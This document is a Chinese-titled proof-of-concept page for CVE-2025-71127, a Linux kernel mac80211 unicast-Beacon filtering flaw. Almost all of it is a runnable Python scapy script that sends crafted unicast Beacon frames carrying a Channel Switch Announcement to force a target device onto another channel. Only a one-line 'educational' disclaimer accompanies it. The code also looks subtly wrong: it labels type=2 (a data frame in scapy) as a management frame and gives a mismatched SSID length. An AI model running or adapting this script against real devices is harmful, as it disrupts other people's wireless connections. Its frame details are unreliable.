CVE-2025-71127 Linux内核mac80211 Beacon帧单播地址过滤绕过漏洞

#!/usr/bin/env python3 # CVE-2025-71127 PoC - Malicious Unicast Beacon Frame # Note: This PoC is for educational/research purposes only from scapy.all import Dot11, Dot11Beacon, Dot11Elt, RadioTap, sendp import sys def create_malicious_beacon(iface, bssid, target_mac, channel): """ Create and send a malicious unicast Beacon frame to trigger CVE-2025-71127 """ # RadioTap header for 802.11 frame radiotap = RadioTap() # Create 802.11 Beacon frame with UNICAST A1 (receiver address) # This violates IEEE 802.11 which requires broadcast A1 for Beacons dot11 = Dot11( type=2, # Management frame subtype=8, # Beacon frame addr1=target_mac, # UNICAST address (should be broadcast) addr2=bssid, addr3=bssid ) # Beacon frame body beacon = Dot11Beacon(cap=0x2101) # SSID element ssid = Dot11Elt(ID=0, info=b"EvilNetwork", len=10) # Channel element - attacker-controlled channel channel_elt = Dot11Elt(ID=3, info=bytes([channel])) # CSA (Channel Switch Announcement) element # Attackers use this to force victim to switch channels csa_ie = Dot11Elt(ID=37, info=bytes([1, 11, 0])) # channel 11 # Construct the complete frame # Note: Real attack would set Protected Frame bit in Frame Control frame = radiotap / dot11 / beacon / ssid / channel_elt / csa_ie return frame def main(): if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <interface> <attacker_bssid> <target_mac> <channel>") print("Example: python3 poc.py wlan0 00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 11") sys.exit(1) iface = sys.argv[1] bssid = sys.argv[2] target_mac = sys.argv[3] channel = int(sys.argv[4]) print(f"[*] Crafting malicious unicast Beacon frame") print(f"[*] BSSID: {bssid}") print(f"[*] Target: {target_mac}") print(f"[*] Forced Channel: {channel}") frame = create_malicious_beacon(iface, bssid, target_mac, channel) print(f"[*] Sending malicious Beacon frame...") sendp(frame, iface=iface, inter=0.1, count=10, verbose=1) print(f"[+] Attack completed") print("[!] If vulnerable, target may have switched to channel 11") if __name__ == "__main__": main()